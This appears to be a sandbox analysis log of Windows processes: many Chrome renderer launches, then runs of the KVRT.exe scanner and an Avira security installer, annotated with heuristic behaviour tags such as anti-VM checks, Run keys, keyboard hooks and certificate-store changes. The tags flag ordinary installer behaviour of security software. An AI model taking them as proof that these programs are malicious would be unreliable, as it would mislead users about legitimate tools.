C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --metrics-shmem-handle=6836,i,13236020897887736802,6937907678201593427,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=6604 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --metrics-shmem-handle=6080,i,17609071696008356235,8294520321812827051,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=6576 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --metrics-shmem-handle=6396,i,10495660585815287121,915490948277367270,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=5508 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --metrics-shmem-handle=6276,i,13164704164879434621,15912629188057281338,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --metrics-shmem-handle=5564,i,16847922890421483492,12781999990342786382,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=3576 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --metrics-shmem-handle=3696,i,3541752805269299641,3700151729250859623,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=6124 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --metrics-shmem-handle=1584,i,13013524580003445789,2659151081391475887,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=4864 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --metrics-shmem-handle=5696,i,3560390982620961292,7121260232897798139,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=5496 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6872,i,18073641351383818538,2433040879476465822,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=6936 /prefetch:142⤵
- Modifies registry class
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=5756,i,2345430229509331741,3795939064756383278,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=6916 /prefetch:122⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --metrics-shmem-handle=5576,i,3706467743614309647,298184790247603928,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=3652 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --metrics-shmem-handle=7200,i,400370671815265465,11052314794843133400,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=4764 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --metrics-shmem-handle=7304,i,1529563468521338413,8840040613753096566,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=7292 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --metrics-shmem-handle=3704,i,16639455096753675820,8084530509025773039,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=7256 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --metrics-shmem-handle=7704,i,5201801520682893411,11280019136380320087,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=7712 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --metrics-shmem-handle=7436,i,16252430406109841652,17788794676505469524,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=7664 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --metrics-shmem-handle=4804,i,9082417759072237483,7530978343987826013,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=7512 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=57 --metrics-shmem-handle=6452,i,955697589721323171,9547287200395472901,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=7532 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --metrics-shmem-handle=7440,i,4936529154984782289,4275827916718281488,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=7548 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=7912,i,5216913514603083006,7701937211039923020,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=7352 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --metrics-shmem-handle=7356,i,11761484328168671224,14713649459999267684,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=7156 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --metrics-shmem-handle=1484,i,10699452738857127918,8334494355611491904,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=7912 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=62 --metrics-shmem-handle=8188,i,17855349417624659468,1358491424458720154,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=8220 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --metrics-shmem-handle=4652,i,17916973173976721299,11360896161305828956,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=6216 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=64 --metrics-shmem-handle=6048,i,4404684885873989161,11571955315612473732,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=6832 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=65 --metrics-shmem-handle=1584,i,206413129975185220,4494488653675323948,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=6628 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=66 --metrics-shmem-handle=4488,i,17863556300982107320,16397407340442198058,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=5724 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=67 --metrics-shmem-handle=3596,i,14901036076955188098,15800437467294693601,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=6836 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=68 --metrics-shmem-handle=6600,i,9250654036856505686,7404869664427000058,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=3612 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=8332,i,4128138115025476936,876365254370847815,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=6184 /prefetch:142⤵
-
-
C:\Users\Admin\Downloads\KVRT.exe"C:\Users\Admin\Downloads\KVRT.exe"2⤵
- Executes dropped EXE
- Checks for VirtualBox DLLs, possible anti-VM trick
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\{1b35fd95-7139-4359-8d41-bf902afc9b3b}\6bda4c6f.exeC:/Users/Admin/AppData/Local/Temp/{1b35fd95-7139-4359-8d41-bf902afc9b3b}/\6bda4c6f.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Checks for any installed AV software in registry
- Checks for VirtualBox DLLs, possible anti-VM trick
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\{520c97d5-ddf6-4567-9510-374b0e415b64}\aefb17a4-05c2-414e-b3de-f60c3821e874.cmd" "4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v aefb17a4-05c2-414e-b3de-f60c3821e874 /f5⤵
- Modifies registry key
-
-
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=70 --metrics-shmem-handle=8328,i,7508512526738398177,9713852911806325140,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=8220 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=71 --metrics-shmem-handle=7784,i,17382013912114228696,3627310235922058164,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=6876 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=72 --metrics-shmem-handle=4484,i,2645543095292049365,15138418988655388174,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=6668 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=73 --metrics-shmem-handle=8708,i,1335664485586657807,4048010333800443785,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=7280 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=74 --metrics-shmem-handle=8696,i,300641903279005891,1700717773660347482,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=8712 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=75 --metrics-shmem-handle=8804,i,15077603143941145629,2082316855090088044,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=6616 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=76 --metrics-shmem-handle=7284,i,13067683237696594397,8141240546305797527,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=6964 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=8672,i,6423843735827163609,13391507311760166535,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=8688 /prefetch:142⤵
-
-
C:\Users\Admin\Downloads\avira_en_sptl1_8c9475ad-66df-4f05-bf0d-2e209a9394c5__pfsws-spotlight-release.exe"C:\Users\Admin\Downloads\avira_en_sptl1_8c9475ad-66df-4f05-bf0d-2e209a9394c5__pfsws-spotlight-release.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\system32\schtasks.exe" /Create /Xml "C:\Users\Admin\AppData\Local\Temp\.CR.22290\Avira_Security_Installation.xml" /F /TN "Avira_Security_Installation"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Temp\.CR.30654\Avira.Spotlight.Bootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\.CR.30654\Avira.Spotlight.Bootstrapper.exe" "C:\Users\Admin\AppData\Local\Temp\.CR.30654\Avira.Spotlight.Bootstrapper.exe" OriginalFileName=avira_en_sptl1_8c9475ad-66df-4f05-bf0d-2e209a9394c5__pfsws-spotlight-release.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks for any installed AV software in registry
- Modifies trusted root certificate store through registry
- System Location Discovery: System Language Discovery
- Modifies registry class
- Modifies system certificate store
-
C:\Users\Admin\AppData\Local\Temp\.CR.30654\ACSSignedIC.exe"C:\Users\Admin\AppData\Local\Temp\.CR.30654\ACSSignedIC.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\.CR.30654\7a67ec0a-6e42-4ed4-a846-24c2a78aa8ce\avira_spotlight_setup_pfsws.exe"C:\Users\Admin\AppData\Local\Temp\.CR.30654\7a67ec0a-6e42-4ed4-a846-24c2a78aa8ce\avira_spotlight_setup_pfsws.exe" /LOG="C:\Users\Admin\AppData\Local\Temp\avira_spotlight_setup_20260910192917857.log" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP /LANGUAGE=en-us /SYSTRAYAUTOSTARTENABLED=true /WITHSERVICESTOPPED=true /SKIPSERVICEREGISTRATION=true /CERTIFICATESVERSION=V44⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-FIR5M.tmp\avira_spotlight_setup_pfsws.tmp"C:\Users\Admin\AppData\Local\Temp\is-FIR5M.tmp\avira_spotlight_setup_pfsws.tmp" /SL5="$3047E,37779838,960512,C:\Users\Admin\AppData\Local\Temp\.CR.30654\7a67ec0a-6e42-4ed4-a846-24c2a78aa8ce\avira_spotlight_setup_pfsws.exe" /LOG="C:\Users\Admin\AppData\Local\Temp\avira_spotlight_setup_20260910192917857.log" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP /LANGUAGE=en-us /SYSTRAYAUTOSTARTENABLED=true /WITHSERVICESTOPPED=true /SKIPSERVICEREGISTRATION=true /CERTIFICATESVERSION=V45⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\system32\sc.exe" create AviraSecurityUpdater DisplayName= "Avira Security Updater" binPath= "\"C:\Program Files (x86)\Avira\Security\Avira.Spotlight.Common.Updater.exe\"" start= delayed-auto6⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\system32\sc.exe" description AviraSecurityUpdater "Avira Security Updater"6⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\system32\schtasks.exe" /Create /F /TN Avira_Security_Update /XML "\\?\C:\Users\Admin\AppData\Local\Temp\is-BE68V.tmp\UpdateFallbackTask.xml"6⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\system32\schtasks.exe" /Create /F /TN Avira_Security_Service_SCM_Watchdog /XML "\\?\C:\Users\Admin\AppData\Local\Temp\is-BE68V.tmp\WatchdogServiceControlManagerTimeout.xml"6⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\system32\schtasks.exe" /Create /F /TN Avira_Security_Systray /XML "\\?\C:\Users\Admin\AppData\Local\Temp\is-BE68V.tmp\SystrayAutostart.xml"6⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\system32\schtasks.exe" /Create /F /TN Avira_Security_Maintenance /XML "\\?\C:\Users\Admin\AppData\Local\Temp\is-BE68V.tmp\MaintenanceTask.xml"6⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\.CR.30654\3ff0b95c-cff0-4db8-9a44-ab4eaf780d85\avira_en_sptl1_8c9475ad-66df-4f05-bf0d-2e209a9394c5__pfsws-spotlight-release.exe"C:\Users\Admin\AppData\Local\Temp\.CR.30654\3ff0b95c-cff0-4db8-9a44-ab4eaf780d85\avira_en_sptl1_8c9475ad-66df-4f05-bf0d-2e209a9394c5__pfsws-spotlight-release.exe" Action=RegisterFallbackUpdater AllowMultipleInstances=true UnpackInCurrentDirectory=true4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\.CR.30654\3ff0b95c-cff0-4db8-9a44-ab4eaf780d85\.CR.9787\Avira.Spotlight.Bootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\.CR.30654\3ff0b95c-cff0-4db8-9a44-ab4eaf780d85\.CR.9787\Avira.Spotlight.Bootstrapper.exe" "C:\Users\Admin\AppData\Local\Temp\.CR.30654\3ff0b95c-cff0-4db8-9a44-ab4eaf780d85\.CR.9787\Avira.Spotlight.Bootstrapper.exe" Action=RegisterFallbackUpdater AllowMultipleInstances=true OriginalFileName=avira_en_sptl1_8c9475ad-66df-4f05-bf0d-2e209a9394c5__pfsws-spotlight-release.exe5⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\.CR.30654\3ff0b95c-cff0-4db8-9a44-ab4eaf780d85\.CR.9787\ACSSignedIC.exe"C:\Users\Admin\AppData\Local\Temp\.CR.30654\3ff0b95c-cff0-4db8-9a44-ab4eaf780d85\.CR.9787\ACSSignedIC.exe"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\.CR.30654\3ff0b95c-cff0-4db8-9a44-ab4eaf780d85\.CR.9787\Avira.Spotlight.Bootstrapper.ReportingTool.exe"C:\Users\Admin\AppData\Local\Temp\.CR.30654\3ff0b95c-cff0-4db8-9a44-ab4eaf780d85\.CR.9787\Avira.Spotlight.Bootstrapper.ReportingTool.exe" /TrackUnsentEvents5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
